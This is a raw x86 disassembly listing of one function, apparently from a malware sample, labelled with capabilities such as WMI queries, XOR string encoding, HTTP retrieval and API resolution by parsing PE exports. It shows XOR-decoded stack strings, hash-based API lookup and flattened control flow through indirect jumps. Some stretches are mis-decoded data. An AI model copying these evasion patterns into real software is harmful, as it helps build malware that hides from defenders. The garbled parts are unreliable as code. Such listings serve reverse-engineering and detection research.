Function at 0x437370
Capabilities:
Authenticate hmac
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, dword [0x44a970]
mov dword [esp + 0x28], 0x9b459db1
mov dword [esp + 0x2c], 0xa7599961
mov dword [esp + 0x30], 0xa34fa558
mov dword [esp + 0x34], 0xaf62a155
mov dword [esp + 0x38], 0xab43ad52
mov dword [esp + 0x3c], 0xb75ba952
mov dword [esp + 0x40], 0xb3b2b599
mov word [esp + 0x44], 0
mov byte [esp + 0x46], 0
mov dword [esp + 0x18], 0
mov ecx, dword [esp + 0x18]
cmp ecx, 0x1e
ja 0x43741b
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0x315bcdda
xor ecx, edx
mov dword [esp + 0x9c], ecx
mov ecx, dword [esp + 0x9c]
add cl, 0xba
mov edx, dword [esp + 0x18]
mov byte [esp + edx + 0x28], cl
inc dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
cmp ecx, 0x1f
jb 0x4373e0
lea ecx, [esp + 0x18]
lea ebx, [esp + 0x9c]
lea esi, [esp + 0x28]
push ecx
push 8
push ebx
push 0xd
push esi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448284]
mov dword [esp + 0x9c], 0x3a0043
mov edi, dword [ebp + 8]
mov dword [esp + 0xa0], 0x5c
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x64], 0
lea eax, [esp + 0x64]
push eax
push 0x442a40
push 1
push 0
push 0x442a50
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44828c]
mov dword [esp + 0x28], 0x77a571a6
mov dword [esp + 0x2c], 0x7bae75a7
mov dword [esp + 0x30], 0x7fb979a4
mov dword [esp + 0x34], 0x3cf7db5
mov dword [esp + 0x38], 0x73001da
mov word [esp + 0x3c], 0x504
mov dword [esp + 0x3e], 0
mov word [esp + 0x42], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1b
ja 0x437533
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x1624dc32
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0xbe
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1c
jb 0x437500
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0xb4], ebx
push ebx
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
lea ebx, [esp + 0x9c]
jmp dword [eax*4 + 0x448294]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x7c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44829c]
mov dword [esp + 0x28], 0x68ba6ab6
mov dword [esp + 0x2c], 0x747776bd
mov word [esp + 0x30], 0
mov byte [esp + 0x32], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xa
ja 0x437603
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x3595750b
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x9a
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xb
jb 0x4375d0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x78], eax
mov dword [esp + 0x28], 0x80fabeee
mov dword [esp + 0x2c], 0x84c682cd
mov dword [esp + 0x30], 0x88d386c6
mov dword [esp + 0x34], 0x8ce18ae9
mov dword [esp + 0x38], 0x90c98eed
mov dword [esp + 0x3c], 0x94dc92c3
mov dword [esp + 0x40], 0x98f796d8
mov dword [esp + 0x44], 0x9c329ace
mov dword [esp + 0x48], 0xe0ec9e33
mov dword [esp + 0x4c], 0xe4bce293
mov dword [esp + 0x50], 0xe8aee6a7
mov dword [esp + 0x54], 0xecb8eaa6
mov word [esp + 0x58], 0xeeed
mov dword [esp + 0x5a], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x35
ja 0x4376c3
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x38f11d
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x60
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x36
jb 0x437690
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, dword [esp + 0x60]
mov ecx, dword [ebx]
lea edx, [esp + 0x88]
push edx
push 0
push 0x30
mov dword [esp + 0xa0], eax
push eax
push dword [esp + 0x88]
push ebx
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
lea ebx, [esp + 0x9c]
jmp dword [eax*4 + 0x4482a4]
mov dword [esp + 0x80], 0
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
lea edx, [esp + 0x80]
lea esi, [esp + 0x84]
push edx
push esi
lea esi, [esp + 0x30]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x80], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x4482ac]
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x84]
mov dword [esp + 0x28], 0x8e14907c
mov dword [esp + 0x2c], 0x8a1c8c03
mov dword [esp + 0x30], 0x86138816
mov dword [esp + 0x34], 0x82088477
mov dword [esp + 0x38], 0xbe218012
mov dword [esp + 0x3c], 0xba35bc26
mov dword [esp + 0x40], 0xb8b9
mov byte [esp + 0x44], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x1c
ja 0x4377f5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0xff5ef94e
xor ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0x21
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x28], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x1d
jb 0x4377c0
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x70]
push edx
push 0
push esi
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x68], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4482b4]
push dword [esp + 0x70]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov esi, dword [esp + 0x70]
mov dword [esp + 0xc], eax
lea eax, [esi + eax*2]
mov dword [esp + 0x14], eax
movzx ecx, word [esi]
xor ebx, ebx
test cx, cx
je 0x437886
mov eax, esi
mov dword [esp + 0x10], esi
jmp 0x43785e
add ebx, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
mov esi, dword [esp + 0x10]
je 0x437886
cmp eax, dword [esp + 0x14]
jae 0x437886
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x43784c
mov edx, ecx
jmp 0x43784c
mov eax, ebx
and eax, 1
mov dword [esp + 0x7c], ebx
mov ecx, ebx
xor ecx, 1
lea ebx, [ecx + eax*2]
push ebx
call fcn.00409a50
mov edx, ebx
add esp, 4
lea ecx, [eax + ebx]
dec ecx
mov ebx, eax
mov dword [esp + 0x90], ecx
cmp eax, ecx
jae 0x437985
mov ebx, eax
cmp dword [esp + 0xc], 0
jle 0x437985
mov ecx, eax
add ecx, edx
mov dword [esp + 0x8c], ecx
add esi, 2
mov ebx, eax
movzx ecx, word [esi - 2]
test cx, cx
je 0x437985
cmp cx, 0x7f
ja 0x4378f0
mov byte [ebx], cl
mov edx, 1
jmp 0x43796b
mov dword [esp + 0x10], esi
mov edx, ebx
not edx
add edx, dword [esp + 0x8c]
movzx esi, cx
mov dword [esp + 0xc], esi
cmp edx, 2
jb 0x437933
cmp dword [esp + 0xc], 0x7ff
ja 0x437933
mov edx, ecx
shr edx, 6
xor dl, 0xc0
mov byte [ebx], dl
and cl, 0x3f
or cl, 0x80
mov byte [ebx + 1], cl
mov edx, 2
mov esi, dword [esp + 0x10]
jmp 0x43796b
cmp edx, 3
mov edx, 0
mov esi, dword [esp + 0x10]
jb 0x43796b
mov edx, dword [esp + 0xc]
shr edx, 0xc
or dl, 0xe0
mov byte [ebx], dl
mov edx, dword [esp + 0xc]
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [ebx + 1], dl
and cl, 0x3f
or cl, 0x80
mov byte [ebx + 2], cl
mov edx, 3
add ebx, edx
cmp ebx, dword [esp + 0x90]
jae 0x437985
lea ecx, [esi + 2]
cmp esi, dword [esp + 0x14]
mov esi, ecx
jb 0x4378d4
mov byte [ebx], 0
xor ecx, ecx
mov edx, dword [case.0x43799c.3]
mov dword [esp + 0x14], edx
xor edx, edx
cmp ecx, 4
setb dl
jmp dword [edx*4 + 0x4482bc]
mov edx, ecx
and edx, 0xfffffffb
mov esi, ecx
and esi, 4
mov ebx, ecx
or ebx, 4
imul ebx, esi
xor esi, 4
imul esi, edx
add ebx, esi
jmp dword [esp + 0x14]
mov edx, dword [eax + ebx]
mov dword [esp + ecx*4 + 0x18], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + ebx]
mov dword [esp + ecx*4 + 0x18], edx
jmp dword [0x4482d0]
mov esi, dword [esp + 0x7c]
add esi, 0xfffffffc
xor edx, edx
mov dword [esp + 0x7c], esi
cmp esi, 4
setb dl
jmp dword [edx*4 + 0x4482d4]
inc ecx
xor edx, edx
cmp ecx, 4
setb dl
jmp dword [edx*4 + 0x4482bc]
lea ebx, [esp + 0x9c]
lea esi, [esp + 0x28]
jmp dword [0x4482dc]
push eax
call fcn.00409a60
add esp, 4
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x84]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x78]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x94]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x98]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x28], 0
push 0xefddb36b
push dword [0x44a968]
call fcn.0043e870
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4482f4]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x18], eax
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x4482fc]
xor edx, edx
test eax, eax
setne dl
mov ecx, eax
jmp dword [edx*4 + 0x448304]
xor edx, edx
cmp dword [esp + eax*4 + 0x18], 0
sete dl
mov ecx, eax
jmp dword [edx*4 + 0x44830c]
lea ecx, [eax - 1]
imul edx, dword [esp + ecx*4 + 0x18], 0x1a5845
lea ecx, [edi + 8]
add edx, 0xebde8a13
mov dword [esp + eax*4 + 0x18], edx
mov byte [edi + 8], 0
je 0x437b70
mov edi, ecx
cmp edx, 0x100
jb 0x437b80
mov esi, edx
nop
nop
nop
movzx ebx, dl
movzx ebx, word [ebx + ebx + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [edi - 2], bx
add edi, 0xfffffffe
shr esi, 8
cmp edx, 0xffff
mov edx, esi
ja 0x437b30
cmp esi, 0xf
ja 0x437b87
movzx edx, byte [esi + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [edi - 1], dl
dec edi
jmp 0x437b96
mov byte [edi + 7], 0x30
add edi, 7
jmp 0x437b96
mov esi, edx
cmp esi, 0xf
jbe 0x437b54
movzx edx, word [esi + esi + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [edi - 2], dx
add edi, 0xfffffffe
mov edx, 0xfffffff7
nop
nop
nop
nop
nop
cmp byte [edi + edx + 9], 0
lea edx, [edx + 1]
jne case.default.0x437bb4
neg edx
xor ebx, ebx
add edx, 0xffffffff
setb bl
jmp dword [ebx*4 + 0x448314]
mov byte [edi - 1], 0x30
dec edi
xor ebx, ebx
add edx, 0xffffffff
setb bl
jmp dword [ebx*4 + 0x448314]
jmp dword [0x448324]
inc eax
xor edx, edx
cmp eax, 4
setb dl
mov edi, ecx
jmp dword [edx*4 + 0x4482fc]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esp + 0x40]
push 0x400
call fcn.0043b2f0
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], 0x70605
mov byte [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x437c9e
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 4]
add eax, 0xad100031
xor eax, edx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add al, 0xcb
mov edx, dword [esp]
mov byte [esp + edx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x437c70
mov eax, dword [esp + 4]
mov edx, dword [0x44a974]
test edx, edx
je case.0x42924b.290
mov ebp, esi
mov esi, ebx
xor edi, edi
mov ebx, dword [0x44a978]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x77a9e0c4
je 0x437cd4
inc edi
cmp edx, edi
jne 0x437cc0
mov ebx, esi
mov esi, ebp
jmp case.0x42924b.290
mov edx, dword [ebx + edi*8 + 4]
cmp edx, eax
mov ebx, esi
mov esi, ebp
je case.0x42924b.290
lea eax, [esp + 0x20]
push 0x2f
push 0x400
push esi
push eax
push ecx
push 5
push dword [0x44a97c]
push edx
call fcn.0043d1f0
add esp, 0x20
mov ecx, dword [case.0x43799c.36]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x448364]
mov eax, dword [case.0x43799c.46]
mov dword [esp + 0x1c], esi
nop
jmp eax
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x14], 0
cmp ecx, dword [esi]
setb al
xor ebp, ebp
jmp dword [eax*4 + 0x44837c]
mov eax, dword [esi + ebp*4 + 4]
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
lea edi, [esp + 4]
mov ecx, edi
push 0
push eax
call fcn.0043b680
mov eax, ebx
neg eax
mov eax, 0
mov esi, ebx
mov ebx, dword [esp + 0x44]
sbb eax, ebx
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, edi
push eax
call fcn.0043b6a0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448384]
mov ebx, esi
jmp dword [0x448390]
lea ecx, [esp + 4]
push ebx
push esi
push 0
call fcn.0043b8d0
test eax, eax
setns al
mov dword [esp + 0x14], eax
mov ebx, esi
jmp dword [0x448390]
lea ecx, [esp + 4]
call fcn.0043b800
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [esp + 4]
call fcn.0043b800
jmp dword [0x448398]
inc ebp
xor eax, eax
mov esi, dword [esp + 0x1c]
cmp ebp, dword [esi]
setb al
jmp dword [eax*4 + 0x44837c]
jmp dword [0x4483a0]
mov eax, dword [esp + 0x14]
and al, 1
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
push esi
call fcn.0043b3e0
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 4], 0x70605
mov byte [esp + 8], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x437e80
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 4]
add ecx, 0xad100031
xor ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xcb
mov edx, dword [esp]
mov byte [esp + edx + 4], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x437e50
mov ecx, dword [0x44a974]
test ecx, ecx
je case.0x43799c.57
mov edx, dword [esp + 4]
xor edi, edi
mov ebp, dword [0x44a978]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + edi*8], 0x625b6034
je 0x437eb1
inc edi
cmp ecx, edi
jne 0x437ea0
jmp case.0x43799c.57
mov ecx, dword [ebp + edi*8 + 4]
cmp ecx, edx
je case.0x43799c.57
push eax
push 1
push dword [0x44a97c]
push ecx
call fcn.0043d1f0
add esp, 0x10
push esi
call fcn.0043b3e0
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 4], 0x70605
mov byte [esp + 8], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x437f30
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 4]
add ecx, 0xad100031
xor ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xcb
mov edx, dword [esp]
mov byte [esp + edx + 4], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x437f00
mov ecx, dword [0x44a974]
test ecx, ecx
je 0x437f69
mov edx, dword [esp + 4]
xor edi, edi
mov ebp, dword [0x44a978]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + edi*8], 0x625b6034
je 0x437f61
inc edi
cmp ecx, edi
jne 0x437f50
jmp 0x437f69
mov ecx, dword [ebp + edi*8 + 4]
cmp ecx, edx
jne 0x437f6f
jmp dword [0x4483a8]
push eax
push 1
push dword [0x44a97c]
push ecx
call fcn.0043d1f0
add esp, 0x10
jmp dword [0x4483a8]
call fcn.0040a1d0
mov dword [esp + 0x3a8], 1
mov eax, dword [esp + 0x3ac]
mov ecx, dword [esp + 0x3a8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov eax, esi
add eax, 0xfffffffe
mov dword [esp + 0x200], 0
mov ecx, dword [esp + 0x204]
mov edx, dword [esp + 0x200]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov ecx, edi
sub ecx, 2
sete al
mov dword [esp + 0x3d8], eax
mov eax, dword [esp + 0x3dc]
mov ecx, dword [esp + 0x3d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x340], 0
mov eax, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [esi]
test ax, ax
sete al
mov ecx, dword [esp + 0x258]
mov edx, dword [esp + 0x25c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, ebx
xor ebx, ebx
mov edi, dword [esp + 0x470]
sub eax, edi
seta byte [esp + 0xf]
mov eax, dword [esp + 0x3c0]
mov ecx, dword [esp + 0x3c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov byte [esp + ecx*2 - 0x26], bl
mov ebx, 0x8bdc9169
test byte [eax + ecx*4], ah
add byte [eax], al
add byte [ebx + 0x8c248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov cx, word [ebp]
xor eax, eax
sub cx, 0x5c
sete cl
mov dword [esp + 0x400], 1
mov edx, dword [esp + 0x404]
mov ebx, dword [esp + 0x400]
mov edx, dword [edx + ebx*4]
jmp edx
call fcn.0040a1d0
mov cx, word [ebp]
xor eax, eax
sub cx, 0x2e
sete cl
mov dword [esp + 0x2b0], 1
mov edx, dword [esp + 0x2b4]
mov ebx, dword [esp + 0x2b0]
mov edx, dword [edx + ebx*4]
jmp edx
add ebx, 0xfffffffe
mov eax, dword [esp + 0x330]
mov ecx, dword [esp + 0x334]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1f0]
mov ecx, dword [esp + 0x1f4]
mov eax, dword [ecx + eax*4]
jmp eax
add ebx, 0xfffffffe
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x22c]
mov eax, dword [ecx + eax*4]
mov esi, ebx
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x3f0], 0
mov eax, dword [esp + 0x3f4]
mov ecx, dword [esp + 0x3f0]
mov eax, dword [eax + ecx*4]
jmp eax
stosb byte es:[edi], al
cmp al, 0xd3
add byte [esi], 0x50
xor edi, 0x5024448b
mov ecx, dword [esp + 0x54]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x248], 1
mov eax, dword [esp + 0x24c]
mov ecx, dword [esp + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x100], 1
mov eax, dword [esp + 0x104]
mov ecx, dword [esp + 0x100]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov esi, ebp
add esi, 4
mov dword [esp + 0x1e0], 1
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov esi, ebp
add esi, 2
mov ax, word [ebp + 2]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x3c8], ecx
mov eax, dword [esp + 0x3cc]
mov ecx, dword [esp + 0x3c8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ebx, ebx
mov eax, edi
sub eax, 3
sete byte [esp + 0xe]
mov eax, dword [esp + 0x2d8]
mov ecx, dword [esp + 0x2dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], ebp
mov dword [esp + 4], 0x5c
call fcn.00439bf0
mov esi, eax
mov eax, dword [esp + 0x430]
mov ecx, dword [esp + 0x434]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x1e8], 0
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edi]
mov ecx, dword [esp + 0x288]
mov edx, dword [esp + 0x28c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [esi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x218], ecx
mov eax, dword [esp + 0x21c]
mov ecx, dword [esp + 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
add ebp, 4
mov eax, dword [esp + 0x2e0]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [ecx + eax*4]
mov esi, ebp
mov edi, dword [esp + 0x470]
jmp eax
mov byte [eax], al
ljmp 0xa8
mov ecx, dword [esp + 0x3e0]
mov edx, dword [esp + 0x3e4]
mov ecx, dword [edx + ecx*4]
mov ebx, eax
mov edi, dword [esp + 0x470]
jmp ecx
jge 0x438f46
sub ah, dl
sub dword [ebx], edx
adc ebp, edx
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x448]
mov ecx, dword [esp + 0x44c]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [ebx], 0
mov eax, dword [esp + 0x178]
add byte [eax], al
mov ecx, dword [esp + 0x17c]
mov eax, dword [ecx + eax*4]
mov ebp, esi
jmp eax
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x338]
mov ecx, dword [esp + 0x33c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x470]
jmp eax
mov dword [esp + 8], edi
mov dword [esp + 4], ebp
mov ebx, dword [esp + 0x10]
mov dword [esp], ebx
call fcn.0041bca0
lea ebx, [ebx + esi*2]
lea esi, [ebp + esi*2]
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x184]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x470]
jmp eax
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
sub esi, ebp
sar esi, 1
mov edi, esi
inc edi
xor eax, eax
mov ecx, edi
sub ecx, 1
sete al
mov dword [esp + 0x410], eax
mov eax, dword [esp + 0x414]
mov ecx, dword [esp + 0x410]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x10], ebx
jmp eax
call fcn.0040a1d0
mov word [esi], 0x5c
mov word [edi + 6], 0
mov dword [esp + 0x118], 1
mov eax, dword [esp + 0x11c]
mov ecx, dword [esp + 0x118]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x1f8]
mov edx, dword [esp + 0x1fc]
mov ecx, dword [edx + ecx*4]
mov esi, eax
jmp ecx
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
mov esi, edi
add esi, 4
mov ax, word [edi + 4]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x128], ecx
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x128]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x318]
mov ecx, dword [esp + 0x31c]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [esi], 0x5c
mov word [edi + 6], 0
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x2b8], 0
mov eax, dword [esp + 0x2bc]
mov ecx, dword [esp + 0x2b8]
mov eax, dword [eax + ecx*4]
jmp eax
push ss
fcom dword [edx - 3]
inc edi
popal
lodsd eax, dword [esi]
push edx
mov word [ebx], 0x5c
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
inc al
movzx eax, al
and eax, 1
mov dword [esp + 0x350], eax
mov eax, dword [esp + 0x354]
mov ecx, dword [esp + 0x350]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x470]
jmp eax
mov ax, word [edi]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x398], ecx
mov eax, dword [esp + 0x39c]
mov ecx, dword [esp + 0x398]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
jb 0x439218
insb byte es:[edi], dx
in eax, 0x8b
test byte [eax + edx*4], ah
add byte [eax], al
add byte [ebx + 0x94248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
sub byte [ebx], al
add byte [eax], al
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, dword [esp + 0x268]
